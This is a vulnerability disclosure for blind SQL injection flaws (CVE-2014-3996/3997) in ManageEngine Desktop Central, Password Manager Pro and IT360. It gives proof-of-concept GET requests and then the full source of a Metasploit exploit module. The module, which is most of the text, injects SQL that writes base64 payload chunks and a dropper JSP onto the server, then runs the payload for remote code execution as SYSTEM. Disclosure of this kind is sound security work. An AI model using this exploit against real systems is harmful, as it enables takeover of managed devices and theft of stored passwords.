TL;DR
CVE-2014-3996 / CVE-2014-3997
Blind SQL injection in ManageEngine Desktop Central, Password Manager
Pro and IT360 (including MSP versions)
Scroll to the bottom for the Metasploit module link; the module will
be submitted to Metasploit proper in a pull request in the next few
days.
==========================================================================
>> Blind SQL injection in ManageEngine Desktop Central, Password Manager Pro and IT360 (including MSP versions)
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
==========================================================================
>> Background on the affected products:
"Desktop Central is an integrated desktop & mobile device management
software that helps in managing the servers, laptops, desktops,
smartphones and tablets from a central point. It automates your
regular desktop management routines like installing patches,
distributing software, managing your IT Assets, managing software
licenses, monitoring software usage statistics, managing USB device
usage, taking control of remote desktops, and more."
"Password Manager Pro is a secure vault for storing and managing
shared sensitive information such as passwords, documents and digital
identities of enterprises."
"Managing mission critical business applications is now made easy
through ManageEngine IT360. With agentless monitoring methodology,
monitor your applications, servers and databases with ease. Agentless
monitoring of your business applications enables you high ROI and low
TOC. With integrated network monitoring and bandwidth utilization,
quickly troubleshoot any performance related issue with your network
and assign issues automatically with ITIL based ServiceDesk
integration."
These products have managed service providers (MSP) versions which are
used to control the desktops and smartphones of several clients.
Quoting the author of the Internet Census 2012: "As a rule of thumb,
if you believe that "nobody would connect that to the Internet, really
nobody", there are at least 1000 people who did."
These vulnerabilities can be abused to achieve remote code execution
as SYSTEM in Windows or as the user in Linux. Needless to say, owning
a Desktop Central / IT360 box will give you control of all the
computers and smartphones it manages, while owning Password Manager
Pro will give you a treasure trove of passwords.
>> Technical details:
The two blind SQL injections described below have been present in
Desktop Central, Password Manager Pro and IT360 in all releases since
2006. They can only be triggered via a GET request, which means you
can only inject around 8000 characters at a time.
#1
Vulnerability:
Blind SQL injection in LinkViewFetchServlet (unauthenticated on DC/PMP
/ authenticated on IT360)
CVE-2014-3996
Affected products / versions:
- ManageEngine Desktop Central (DC) [MSP]: all versions from v4 up to
v9 build 90033
- ManageEngine Password Manager Pro (PMP) [MSP]: all versions from v5
to version 7 build 7002
- ManageEngine IT360 [MSP]: all versions from v8 to v10.1.1 build 10110
This affects all versions of the products released since 19-Apr-2006.
Other ManageEngine products might be affected.
Constraints:
- DC: no authentication or any other information needed
- PMP: no authentication or any other information needed
- IT360: valid user account needed
Proof of concept:
DC / PMP:
GET /LinkViewFetchServlet.dat?sv=[SQLi]
IT360:
GET /console/LinkViewFetchServlet.dat?sv=[SQLi]
#2
Vulnerability:
Blind SQL injection in MetadataServlet (unauthenticated on PMP /
authenticated on IT360)
CVE-2014-3997
Affected products / versions:
- ManageEngine Password Manager Pro (PMP) [MSP]: all versions from v5
to version 7 build 7003
- ManageEngine IT360 [MSP]: all versions from v8 to v10.1.1 build 10110
This affects all versions of the products released since 03-Apr-2008.
Other ManageEngine products might be affected.
Constraints:
- PMP: no authentication or any other information needed
- IT360: valid user account needed
Proof of concept:
PMP:
GET /MetadataServlet.dat?sv=[SQLi]
IT360:
GET /console/MetadataServlet.dat?sv=[SQLi]
==========================================================================
A full text version of this advisory can be found in my repo:
https://raw.githubusercontent.com/pedrib/PoC/master/me_dc_pmp_it360_sqli.txt
A Metasploit module that exploits this vulnerability can also be found
in my repo:
https://raw.githubusercontent.com/pedrib/PoC/master/msf_modules/manageengine_dc_pmp_sqli.rb
------
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# TODO
# - add the refs, confirm the builds, etc
require 'msf/core'
require 'msf/core/exploit/file_dropper'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine Password Manager Pro v6-v7 b7002 / Desktop Central v7-v9 b90033 SQL Injection",
'Description' => %q{
This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet,
which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and
Password Manager Pro v6 build 6500 to v7 build 7002 (including the MSP versions). The
SQL injection can be used to achieve remote code execution as SYSTEM in Windows or as
the user in Linux. This module exploits both PostgreSQL (newer builds) and MySQL (older
or upgraded builds). MySQL targets are more reliable due to the use of relative paths;
with PostgreSQL you should find the web root path via other means and specify it with
WEB_ROOT.
The injection is only exploitable via a GET request, which means that the payload
has to be sent in chunks smaller than 8000 characters (URL size limitation). Small
payloads and the use of exe-small is recommended, as you can only do between 10 and
20 injections before using up all the available ManagedConnections until the next
server restart.
This vulnerability exists in all versions released since 2006, however builds below
DC v7 70200 and PMP v6 6500 do not ship with a JSP compiler. You can still try your
luck using the MySQL targets as a JDK might be installed in the $PATH.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'References' =>
[
[ 'CVE', '2014-3996' ],
[ 'OSVDB', 'TODO' ],
[ 'URL', 'TODO_GITHUB_URL' ],
[ 'URL', 'TODO_FULLDISC_URL' ]
],
'Arch' => ARCH_X86,
'Platform' => %w{ linux win },
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Desktop Central v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows',
{
'Web_root' => 'C:\\ManageEngine\\DesktopCentral_Server\\webapps\\DesktopCentral\\',
'Database' => 'postgresql',
'Platform' => 'win'
}
],
[ 'Desktop Central MSP v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows',
{
'Web_root' => 'C:\\ManageEngine\\DesktopCentralMSP_Server\\webapps\\DesktopCentral\\',
'Database' => 'postgresql',
'Platform' => 'win'
}
],
[ 'Desktop Central [MSP] v7 >= b70200 / v8 / v9 < b90039 (MySQL) on Windows',
{
'Web_root' => '../../webapps/DesktopCentral/',
'Database' => 'mysql',
'Platform' => 'win'
}
],
[ 'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Windows',
{
'Web_root' => 'C:\\ManageEngine\\PMP\\webapps\\PassTrix\\',
'Database' => 'postgresql',
'Platform' => 'win'
}
],
[ 'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Windows',
{
'Web_root' => '../../webapps/PassTrix/',
'Database' => 'mysql',
'Platform' => 'win'
}
],
[ 'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Linux',
{
'Web_root' => '/opt/ManageEngine/PMP/webapps/PassTrix/',
'Database' => 'postgresql',
'Platform' => 'linux'
}
],
[ 'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Linux',
{
'Web_root' => '../../webapps/PassTrix/',
'Database' => 'mysql',
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'Privileged' => false, # Privileged on Windows but not on Linux targets
'DisclosureDate' => "Jun 8 2014"))
register_options(
[
OptPort.new('RPORT',
[true, 'The target port', 8020]),
OptBool.new('SSL',
[true, 'Use SSL', false]),
OptInt.new('CHUNK_SIZE',
[true, 'Number of characters to send per request (< 7800)', 7500]),
OptInt.new('SLEEP',
[true, 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)', 2]),
OptBool.new('EXE_SMALL',
[true, 'Use exe-small encoding for better reliability', true]),
OptString.new('WEB_ROOT',
[false, 'Slash terminated web server root filepath (escape Windows paths with 4 slashes \\\\\\\\)'])
], self.class)
end
def check
# Test for Desktop Central
res = send_request_cgi({
'uri' => normalize_uri("configurations.do"),
'method' => 'GET'
})
if res and res.code == 200
if res.body.to_s =~ /ManageEngine Desktop Central 7/ or
res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7
# DC v7 uses the MySQL database
print_status("#{peer} - Detected Desktop Central v7 (MySQL)")
return Exploit::CheckCode::Appears
elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ or
res.body.to_s =~ /ManageEngine Desktop Central MSP 8/
if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v8
build = $1
if build > "80200"
print_status("#{peer} - Detected Desktop Central v8 #{build}")
return Exploit::CheckCode::Appears
else
print_status("#{peer} - Detected Desktop Central v8 #{build} (MySQL)")
end
else
print_status("#{peer} - Detected Desktop Central v8 (MySQL)")
end
# DC v8 < 80200 uses the MySQL database
return Exploit::CheckCode::Appears
elsif res.body.to_s =~ /ManageEngine Desktop Central 9/ or
res.body.to_s =~ /ManageEngine Desktop Central MSP 9/
if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9
build = $1
print_status("#{peer} - Detected Desktop Central v9 #{build}")
if build < "90039"
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
end
end
# Test for Password Manager Pro
res = send_request_cgi({
'uri' => normalize_uri("PassTrixMain.cc"),
'method' => 'GET'
})
if res and res.code == 200 and
res.body.to_s =~ /ManageEngine Password Manager Pro/ and
(res.body.to_s =~ /login\.css\?([0-9]+)/ or # PMP v6
res.body.to_s =~ /login\.css\?version=([0-9]+)/ or # PMP v6
res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/) # PMP v7
build = $1
if build < "7003"
if build < "6800"
# PMP v6 < 6800 uses the MySQL database
print_status("#{peer} - Detected Password Manager Pro v6 #{build} (MySQL)")
else
print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
end
if build >= "6500"
# if it's a build below 6500, it will only work if we have a JSP compiler
return Exploit::CheckCode::Appears
end
else
print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
return Exploit::CheckCode::Safe
end
end
end
def pick_target
return target if target.name != 'Automatic'
print_status("#{peer} - Selecting target, this might take a few seconds...")
rand_txt = rand_text_alpha_lower(8) << ".txt"
# Test for Desktop Central
res = send_request_cgi({
'uri' => normalize_uri("configurations.do"),
'method' => 'GET'
})
if res and res.code == 200 and res.body.to_s =~ /ManageEngine Desktop Central/
if datastore['WEB_ROOT']
postgresql_path = datastore['WEB_ROOT'].dup
mysql_path = datastore['WEB_ROOT'].dup
elsif res.body.to_s =~ /ManageEngine Desktop Central MSP/
postgresql_path = targets[2]['Web_root'].dup
mysql_path = targets[3]['Web_root'].dup
else
postgresql_path = targets[1]['Web_root'].dup
mysql_path = targets[3]['Web_root'].dup
end
else
# Test for Password Manager Pro
res = send_request_cgi({
'uri' => normalize_uri("PassTrixMain.cc"),
'method' => 'GET'
})
if res and res.code == 200 and res.body.to_s =~ /ManageEngine Password Manager Pro/
if datastore['WEB_ROOT']
postgresql_path = datastore['WEB_ROOT'].dup
mysql_path = datastore['WEB_ROOT'].dup
else
postgresql_path = targets[4]['Web_root'].dup
mysql_path = targets[5]['Web_root'].dup
end
else
# We don't know what this is, bail
return nil
end
end
# try MySQL first, there are probably more of these out there
filepath = mysql_path << rand_txt
# @@version_compile_os will give us Win32 / Win64 if it's a Windows target
inject_sql("select @@version_compile_os into dumpfile '#{filepath}'", "mysql")
res = send_request_cgi({
'uri' => normalize_uri(rand_txt),
'method' => 'GET'
})
if res and res.code == 200
register_file_for_cleanup(filepath.sub('../',''))
if res.body.to_s =~ /Win32/ or res.body.to_s =~ /Win64/
if mysql_path =~ /DesktopCentral/
# Desktop Central [MSP] / MySQL / Windows
return targets[3]
else
# Password Manager Pro / MySQL / Windows
return targets[5]
end
else
# Password Manager Pro / MySQL / Linux
return targets[7]
end
end
# didn't work, let's try PostgreSQL
filepath = postgresql_path << rand_txt
# version() will tell us if it's compiled by Visual C++ (Windows) or gcc (Linux)
inject_sql("copy (select version()) to '#{filepath}'", "postgresql")
res = send_request_cgi({
'uri' => normalize_uri(rand_txt),
'method' => 'GET'
})
if res and res.code == 200
register_file_for_cleanup(filepath)
if res.body.to_s =~ /Visual C++/
if postgresql_path =~ /DesktopCentral_Server/
# Desktop Central / PostgreSQL / Windows
return targets[1]
elsif postgresql_path =~ /DesktopCentralMSP_Server/
# Desktop Central MSP / PostgreSQL / Windows
return targets[2]
else
# Password Manager Pro / PostgreSQL / Windows
return targets[4]
end
elsif res.body.to_s =~ /linux/
# This is for the case when WEB_ROOT is provided
# Password Manager Pro / PostgreSQL / Linux
return targets[6]
end
else
# OK, it's Password Manager Pro on Linux, probably using PostgreSQL and
# no WEB_ROOT was provided. Let's try one of the defaults before bailing out.
filepath = targets[5]['Web_root'].dup << rand_txt
inject_sql("copy (select version()) to '#{filepath}'", "postgresql")
res = send_request_cgi({
'uri' => normalize_uri(rand_txt),
'method' => 'GET'
})
if res and res.code == 200 and res.body.to_s =~ /linux/
# Password Manager Pro / PostgreSQL / Linux
return targets[6]
else
return nil
end
end
end
#
# Creates the JSP that will assemble the payload on the server
#
def generate_jsp_encoded(files)
native_payload_name = rand_text_alpha(rand(6)+3)
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
var_raw = rand_text_alpha(rand(8) + 3)
var_ostream = rand_text_alpha(rand(8) + 3)
var_buf = rand_text_alpha(rand(8) + 3)
var_decoder = rand_text_alpha(rand(8) + 3)
var_tmp = rand_text_alpha(rand(8) + 3)
var_path = rand_text_alpha(rand(8) + 3)
var_proc2 = rand_text_alpha(rand(8) + 3)
var_files = rand_text_alpha(rand(8) + 3)
var_ch = rand_text_alpha(rand(8) + 3)
var_istream = rand_text_alpha(rand(8) + 3)
var_file = rand_text_alpha(rand(8) + 3)
files_decl = "{ "
files.each { |file| files_decl << "\"#{file}\"," }
files_decl[-1] = "}"
if @my_target['Platform'] == 'linux'
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
chmod = %Q|
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
Thread.sleep(200);
|
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
cleanup = %Q|
Thread.sleep(200);
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
|
else
chmod = ''
cleanup = ''
end
jsp = %Q|
<%@page import="java.io.*"%>
<%@page import="sun.misc.BASE64Decoder"%>
<%
String[] #{var_files} = #{files_decl};
try {
int #{var_ch};
StringBuilder #{var_buf} = new StringBuilder();
for (String #{var_file} : #{var_files}) {
BufferedInputStream #{var_istream} =
new BufferedInputStream(new FileInputStream(#{var_file}));
while((#{var_ch} = #{var_istream}.read())!= -1)
#{var_buf}.append((char)#{var_ch});
#{var_istream}.close();
}
BASE64Decoder #{var_decoder} = new BASE64Decoder();
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
String #{var_path} = #{var_tmp}.getAbsolutePath();
BufferedOutputStream #{var_ostream} =
new BufferedOutputStream(new FileOutputStream(#{var_path}));
#{var_ostream}.write(#{var_raw});
#{var_ostream}.close();
#{chmod}
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
#{cleanup}
} catch (Exception e) {
}
%>
|
jsp = jsp.gsub(/\n/, '')
jsp = jsp.gsub(/\t/, '')
if @my_target['Database'] == 'postgresql'
# Ruby's base64 encoding adds newlines at every 60 chars, strip them
[jsp].pack("m*").gsub(/\n/, '')
else
# Assuming mysql, applying hex encoding instead
jsp.unpack("H*")[0]
end
end
def inject_sql(sqli_command, target = nil)
target = (target == nil) ? @my_target['Database'] : target
if target == 'postgresql'
sqli_prefix = "viewname\";"
sqli_suffix = ";-- "
else
# Assuming mysql
sqli_prefix = "viewname\" union "
sqli_suffix = "#"
end
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("LinkViewFetchServlet.dat"),
'vars_get' => {
'sv' => sqli_prefix << sqli_command << sqli_suffix
}
})
if target == 'postgresql'
# PostgreSQL sometimes takes a while to write to the disk, so sleep more
sleep(datastore['SLEEP'] * 2.5)
else
# Assuming mysql
sleep(datastore['SLEEP'])
end
end
#
# Generate the actual payload
#
def generate_exe_payload
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
if datastore['EXE_SMALL'] and @my_target['Platform'] == 'win'
exe = Msf::Util::EXE.to_executable_fmt(framework, arch, platform,
payload.encoded, "exe-small", opts)
else
exe = generate_payload_exe(opts)
end
Rex::Text.encode_base64(exe)
end
#
# Uploads the payload in chunks and then calls the JSP that will assemble them
# (runs the actual exploit).
#
def inject_exec(jsp_name, fullpath)
base64_exe = generate_exe_payload
base64_exe_len = base64_exe.length
# We will be injecting in CHUNK_SIZE steps
chunk_size = datastore['CHUNK_SIZE']
copied = 0
counter = 0
if base64_exe_len < chunk_size
chunk_size = base64_exe_len
end
chunks = (base64_exe_len.to_f / chunk_size).ceil
time = chunks * datastore['SLEEP'] *
((@my_target['Database'] == 'postgresql') ? 2.5 : 1)
# We dump our files in either C:\Windows\system32 or /tmp
# It's not very clean, but when using a MySQL target we have no other choice
# as we are using relative paths for injection.
# The Windows path has to be escaped with 4 backslashes because ruby eats one
# and the JSP eats the other.
files = Array.new(chunks)
files.map! {
|file|
if @my_target['Platform'] == 'win'
file = "C:\\\\windows\\\\system32\\\\" + rand_text_alpha(rand(8)+3)
else
# Assuming Linux, let's hope we can write to /tmp
file = "/tmp/" + rand_text_alpha(rand(8)+3)
end
}
print_status("#{peer} - Payload size is #{base64_exe_len}, injecting #{chunks}" +
" chunks in #{time} seconds")
if @my_target['Database'] == 'postgresql'
inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to '#{files[counter]}'")
else
# Assuming mysql
inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into dumpfile" +
" '#{files[counter]}'")
end
register_file_for_cleanup(files[counter])
copied += chunk_size
counter += 1
while copied < base64_exe_len
if (copied + chunk_size) > base64_exe_len
# Last loop
chunk_size = base64_exe_len - copied
end
if @my_target['Database'] == 'postgresql'
inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to " +
"'#{files[counter]}'")
else
# Assuming mysql
inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into " +
"dumpfile '#{files[counter]}'")
end
register_file_for_cleanup(files[counter])
copied += chunk_size
counter += 1
end
jsp_encoded = generate_jsp_encoded(files)
if @my_target['Database'] == 'postgresql'
inject_sql("copy (select convert_from(decode('#{jsp_encoded}','base64'),'utf8'))" +
" to '#{fullpath}'")
else
inject_sql("select 0x#{jsp_encoded} from mysql.user into dumpfile '#{fullpath}'")
end
print_status("#{peer} - Requesting #{jsp_name}")
send_request_raw({'uri' => normalize_uri(jsp_name)})
handler
end
def exploit
@my_target = pick_target
if @my_target.nil?
fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed.")
else
print_status("#{peer} - Selected target #{@my_target.name}")
end
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
# Fail if this is the case to avoid polluting the web root any more.
if @my_target['Platform'] == 'linux' and payload_instance.name =~ /Windows/
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
end
if datastore['WEB_ROOT']
web_root = datastore['WEB_ROOT']
else
web_root = @my_target['Web_root']
end
jsp_name = rand_text_alpha_lower(8) + ".jsp"
fullpath = web_root + jsp_name
register_file_for_cleanup(fullpath.sub('../',''))
inject_exec(jsp_name, fullpath)
end
end
Regards,
Pedro
